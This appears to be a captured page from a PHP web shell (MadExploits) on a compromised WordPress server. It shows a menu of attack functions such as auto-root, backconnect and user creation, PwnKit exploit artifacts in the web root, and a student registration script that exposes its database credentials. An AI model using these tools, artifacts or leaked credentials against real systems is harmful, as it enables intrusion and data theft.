Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cipd /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
applications
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
wp-admin
[ DIR ]
drwxrwxr-x
wp-content
[ DIR ]
drwxrwxr-x
wp-includes
[ DIR ]
drwxrwxr-x
.htaccess
523
B
-rwxrwxr-x
.mad-root
0
B
-rw-r--r--
admin_dashboard.php
20.42
KB
-rw-r--r--
admin_login.php
8.62
KB
-rw-r--r--
index.php
405
B
-rwxrwxr-x
license.txt
19.45
KB
-rwxrwxr-x
old-data.tar
381.81
MB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
readme.html
7.23
KB
-rwxrwxr-x
student_dashboard.php
24.53
KB
-rw-r--r--
student_form.php
15.23
KB
-rw-r--r--
student_login.php
7.94
KB
-rw-r--r--
student_ranking.php
17.12
KB
-rw-r--r--
wordpress-6.5.5.zip
24.98
MB
-rwxrwxr-x
wp-activate.php
7.21
KB
-rwxrwxr-x
wp-blog-header.php
351
B
-rwxrwxr-x
wp-comments-post.php
2.27
KB
-rwxrwxr-x
wp-config
3.12
KB
-rwxrwxr-x
wp-config-sample.php
2.94
KB
-rwxrwxr-x
wp-config.php
3.21
KB
-rw-rw-rw-
wp-cron.php
5.51
KB
-rwxrwxr-x
wp-links-opml.php
2.44
KB
-rwxrwxr-x
wp-load.php
3.83
KB
-rwxrwxr-x
wp-login.php
49.72
KB
-rwxrwxr-x
wp-mail.php
8.33
KB
-rwxrwxr-x
wp-settings.php
27.76
KB
-rwxrwxr-x
wp-signup.php
33.58
KB
-rwxrwxr-x
wp-trackback.php
4.77
KB
-rwxrwxr-x
xmlrpc.php
3.17
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : student_form.php
<?php // student_register.php // Student Registration - single column card, stronger client + server validation, duplicate email ch mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); $errors = []; try { // Database connection // $conn = new mysqli("localhost", "root", "", "student_db"); $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $conn->set_charset("utf8mb4"); // Allowed values (used for server-side validation) $allowed_branches = ["CSE","ECE","Mechanical","Civil","IT","Others"]; $allowed_years = ["1st Year","2nd Year","3rd Year","4th Year","Others"]; if ($_SERVER["REQUEST_METHOD"] === "POST") { // Trim + normalize $name = trim($_POST["name"] ?? ""); $email = trim($_POST["email"] ?? ""); $phone = trim($_POST["phone"] ?? ""); $branch = trim($_POST["branch"] ?? ""); $year = trim($_POST["year"] ?? ""); $password = $_POST["password"] ?? ""; $confirm_password = $_POST["confirm_password"] ?? ""; // SERVER-SIDE VALIDATION ------------------------------------------------ // Name: letters, spaces, 3-100 chars if ($name === "" || mb_strlen($name) < 3 || mb_strlen($name) > 100 || !preg_match('/^[\p{L} \'.-]+$/u', $name)) { $errors[] = "Full name must be 3-100 characters and contain only letters, spaces or punctuation like . - '"; } // Email if ($email === "" || !filter_var($email, FILTER_VALIDATE_EMAIL)) { $errors[] = "Please enter a valid email address."; } // Phone: exactly 10 digits if ($phone === "" || !preg_match('/^[0-9]{10}$/', $phone)) { $errors[] = "Phone number must be exactly 10 digits (numbers only)."; } // Branch / Year: must be in allowed lists if (!in_array($branch, $allowed_branches, true)) { $errors[] = "Please select a valid branch."; } if (!in_array($year, $allowed_years, true)) { $errors[] = "Please select a valid year."; } // Password strength: min 8 chars, upper, lower, digit, symbol $pw_errors = []; if (strlen($password) < 8) $pw_errors[] = "at least 8 characters"; if (!preg_match('/[A-Z]/', $password)) $pw_errors[] = "one uppercase letter"; if (!preg_match('/[a-z]/', $password)) $pw_errors[] = "one lowercase letter"; if (!preg_match('/[0-9]/', $password)) $pw_errors[] = "one number"; if (!preg_match('/[\W_]/', $password)) $pw_errors[] = "one special character (e.g. !@#$%)"; if (!empty($pw_errors)) { $errors[] = "Password must contain " . implode(", ", $pw_errors) . "."; } // Confirm match if ($password !== $confirm_password) { $errors[] = "Passwords do not match."; } // Duplicate email check (only if no earlier validation errors) if (empty($errors)) { $check = $conn->prepare("SELECT id FROM users WHERE email = ? LIMIT 1"); $check->bind_param("s", $email); $check->execute(); $check->store_result(); if ($check->num_rows > 0) { $errors[] = "An account with this email already exists. Try logging in or use a different email."; } $check->close(); } // If everything ok -> insert if (empty($errors)) { $hashed_pass = password_hash($password, PASSWORD_DEFAULT); $stmt = $conn->prepare(" INSERT INTO users (name, email, phone, branch, year, password) VALUES (?, ?, ?, ?, ?, ?) "); $stmt->bind_param("ssssss", $name, $email, $phone, $branch, $year, $hashed_pass); if (!$stmt->execute()) { // Capture DB error throw new Exception("Database insert failed: " . $stmt->error); } // Successful — redirect to dashboard or records header("Location: student_dashboard.php"); exit; } } } catch (Exception $e) { $errors[] = $e->getMessage(); } finally { if (isset($conn) && $conn instanceof mysqli) $conn->close(); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <title>Register Student</title> <style> :root{ --bg:#f6f9fc; --card:#ffffff; --muted:#6b7280; --accent:#0b69ff; --danger:#dc2626; --success:#16a34a; --radius:12px; --input-border:#e6e9ef; } *{box-sizing:border-box} body{ margin:0; font-family:Inter, system-ui, -apple-system, "Segoe UI", Roboto, Arial; background:var(--bg); color:#0f172a; padding:40px 16px; display:flex; justify-content:center; min-height:100vh; } .card{ width:100%; max-width:760px; background:var(--card); border-radius:var(--radius); box-shadow:0 12px 30px rgba(2,6,23,0.06); padding:28px; } h2{margin:0 0 8px 0;font-size:20px} p.lead{margin:0 0 18px 0;color:var(--muted);font-size:14px} form{display:block} .grid{display:grid;grid-template-columns:1fr 1fr;gap:12px} .full{grid-column:1/-1} label{display:block;font-weight:600;font-size:13px;margin-bottom:6px} input[type="text"], input[type="email"], input[type="tel"], input[type="password"], select{ width:100%; padding:12px 14px; border-radius:10px; border:1px solid var(--input-border); font-size:14px; background:#fff; outline:none; transition:box-shadow .12s ease, border-color .12s ease; } input:focus, select:focus{box-shadow:0 8px 24px rgba(11,105,255,0.06);border-color:rgba(11,105,255,0.5)} .helper{font-size:13px;color:var(--muted);margin-top:6px} .error-msg{font-size:13px;color:var(--danger);margin-top:6px} .ok-msg{font-size:13px;color:var(--success);margin-top:6px} .actions{display:flex;justify-content:space-between;align-items:center;margin-top:16px} .btn{background:var(--accent);color:white;padding:12px 18px;border-radius:10px;border:none;cursor:pointer;font-weight:700} .btn:disabled{opacity:.6;cursor:not-allowed} .global-errors{background:#fff4f4;border:1px solid #ffd7d7;padding:12px;border-radius:8px;color:var(--danger);margin-bottom:12px} @media (max-width:720px){ .grid{grid-template-columns:1fr} .actions{flex-direction:column-reverse;gap:12px;align-items:stretch} } /* password strength checklist */ .pw-checks{font-size:13px;margin-top:8px;display:flex;flex-direction:column;gap:6px} .pw-check{display:flex;gap:8px;align-items:center} .dot{width:10px;height:10px;border-radius:50%;background:#eee} .dot.ok{background:var(--success)} .dot.bad{background:var(--danger)} </style> </head> <body> <div class="card" role="main" aria-labelledby="formTitle"> <h2 id="formTitle">Create CiPD Ambassador Challenge Student Account</h2> <p class="lead">Fill the fields below to register as student</p> <?php if (!empty($errors)): ?> <div class="global-errors" role="alert"> <strong>Please fix the following:</strong> <ul style="margin:8px 0 0 18px"> <?php foreach ($errors as $err): ?> <li><?php echo htmlspecialchars($err); ?></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <form method="POST" id="regForm" novalidate> <div class="grid"> <div> <label for="name">Full Name *</label> <input id="name" name="name" type="text" required value="<?php echo htmlspecialchars($_POST['name'] ?? ''); ?>"> <div id="nameMsg" class="error-msg" aria-live="polite"></div> </div> <div> <label for="email">Email *</label> <input id="email" name="email" type="email" required value="<?php echo htmlspecialchars($_POST['email'] ?? ''); ?>"> <div id="emailMsg" class="error-msg" aria-live="polite"></div> </div> <div> <label for="phone">Phone *</label> <input id="phone" name="phone" type="tel" maxlength="10" required value="<?php echo htmlspecialchars($_POST['phone'] ?? ''); ?>"> <div class="helper">10 digits, numbers only (e.g. 9876543210)</div> <div id="phoneMsg" class="error-msg" aria-live="polite"></div> </div> <div> <label for="branch">Branch *</label> <select id="branch" name="branch" required> <option value="">Select Branch</option> <?php $branches = ["CSE","ECE","Mechanical","Civil","IT","Others"]; foreach ($branches as $b) { $sel = (($_POST['branch'] ?? '') === $b) ? 'selected' : ''; echo "<option value=\"" . htmlspecialchars($b) . "\" $sel>" . htmlspecialchars($b) . "</option>"; } ?> </select> <div id="branchMsg" class="error-msg" aria-live="polite"></div> </div> <div class="full"> <label for="year">Year *</label> <select id="year" name="year" required> <option value="">Select Year</option> <?php $years = ["1st Year","2nd Year","3rd Year","4th Year","Others"]; foreach ($years as $y) { $sel = (($_POST['year'] ?? '') === $y) ? 'selected' : ''; echo "<option value=\"" . htmlspecialchars($y) . "\" $sel>" . htmlspecialchars($y) . "</option>"; } ?> </select> <div id="yearMsg" class="error-msg" aria-live="polite"></div> </div> <div class="full"> <label for="password">Password *</label> <input id="password" name="password" type="password" required> <div id="passwordMsg" class="error-msg" aria-live="polite"></div> <div class="pw-checks" aria-hidden="false"> <div class="pw-check" id="pwLen"><span class="dot" id="dotLen"></span> Minimum 8 characters</div> <div class="pw-check" id="pwUpper"><span class="dot" id="dotUpper"></span> One uppercase letter</div> <div class="pw-check" id="pwLower"><span class="dot" id="dotLower"></span> One lowercase letter</div> <div class="pw-check" id="pwDigit"><span class="dot" id="dotDigit"></span> One number</div> <div class="pw-check" id="pwSymbol"><span class="dot" id="dotSymbol"></span> One special character (e.g. !@#$%)</div> </div> </div> <div class="full"> <label for="confirm_password">Re-enter Password *</label> <input id="confirm_password" name="confirm_password" type="password" required> <div id="confirmMsg" class="error-msg" aria-live="polite"></div> </div> </div> <div class="actions"> <div class="small muted">Already registered? <a href="/student_dashboard.php" style="color:var(--accent);text-decoration:none">Login</a></div> <div> <button type="submit" id="submitBtn" class="btn" disabled>Create account</button> </div> </div> </form> </div> <script> (function(){ // Elements const form = document.getElementById('regForm'); const submitBtn = document.getElementById('submitBtn'); const nameEl = document.getElementById('name'); const emailEl = document.getElementById('email'); const phoneEl = document.getElementById('phone'); const branchEl = document.getElementById('branch'); const yearEl = document.getElementById('year'); const passwordEl = document.getElementById('password'); const confirmEl = document.getElementById('confirm_password'); const nameMsg = document.getElementById('nameMsg'); const emailMsg = document.getElementById('emailMsg'); const phoneMsg = document.getElementById('phoneMsg'); const branchMsg = document.getElementById('branchMsg'); const yearMsg = document.getElementById('yearMsg'); const passwordMsg = document.getElementById('passwordMsg'); const confirmMsg = document.getElementById('confirmMsg'); const dotLen = document.getElementById('dotLen'); const dotUpper = document.getElementById('dotUpper'); const dotLower = document.getElementById('dotLower'); const dotDigit = document.getElementById('dotDigit'); const dotSymbol = document.getElementById('dotSymbol'); // Validation helpers function validName(v){ return v.length >= 3 && v.length <= 100 && /^[A-Za-zÀ-ÿ' .-]+$/.test(v); } function validEmail(v){ // simple client-side check return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v); } function validPhone(v){ return /^[0-9]{10}$/.test(v); } function validSelect(v){ return v !== ""; } function pwChecks(p){ return { len: p.length >= 8, upper: /[A-Z]/.test(p), lower: /[a-z]/.test(p), digit: /[0-9]/.test(p), symbol: /[\W_]/.test(p) }; } function updateDot(el, ok){ if (ok) { el.classList.add('ok'); el.classList.remove('bad'); } else { el.classList.add('bad'); el.classList.remove('ok'); } } // Validate all fields, return boolean function validateAll(){ let good = true; // name if (!validName(nameEl.value.trim())) { nameMsg.textContent = "Enter a valid name."; good = false; } else nameMsg.textContent = ""; // email if (!validEmail(emailEl.value.trim())) { emailMsg.textContent = "Enter a valid email address."; good = false; } else emailMsg.textContent = ""; // phone if (!validPhone(phoneEl.value.trim())) { phoneMsg.textContent = "Phone must be exactly 10 digits."; good = false; } else phoneMsg.textContent = ""; // branch if (!validSelect(branchEl.value)) { branchMsg.textContent = "Select a branch."; good = false; } else branchMsg.textContent = ""; // year if (!validSelect(yearEl.value)) { yearMsg.textContent = "Select a year."; good = false; } else yearMsg.textContent = ""; // password checks const p = passwordEl.value; const checks = pwChecks(p); updateDot(dotLen, checks.len); updateDot(dotUpper, checks.upper); updateDot(dotLower, checks.lower); updateDot(dotDigit, checks.digit); updateDot(dotSymbol, checks.symbol); if (!(checks.len && checks.upper && checks.lower && checks.digit && checks.symbol)) { passwordMsg.textContent = "Password must satisfy all conditions below."; good = false; } else passwordMsg.textContent = ""; // confirm if (confirmEl.value !== p) { confirmMsg.textContent = "Passwords do not match."; good = false; } else confirmMsg.textContent = ""; submitBtn.disabled = !good; return good; } // event listeners: realtime validation [nameEl, emailEl, phoneEl, branchEl, yearEl].forEach(el => el.addEventListener('input', validateAll)); passwordEl.addEventListener('input', validateAll); confirmEl.addEventListener('input', validateAll); // final check on submit (prevents bypass) form.addEventListener('submit', function(e){ if (!validateAll()) { e.preventDefault(); return false; } // allow submit (server will revalidate) }); // run initial validation to set button state validateAll(); })(); </script> </body> </html>
Close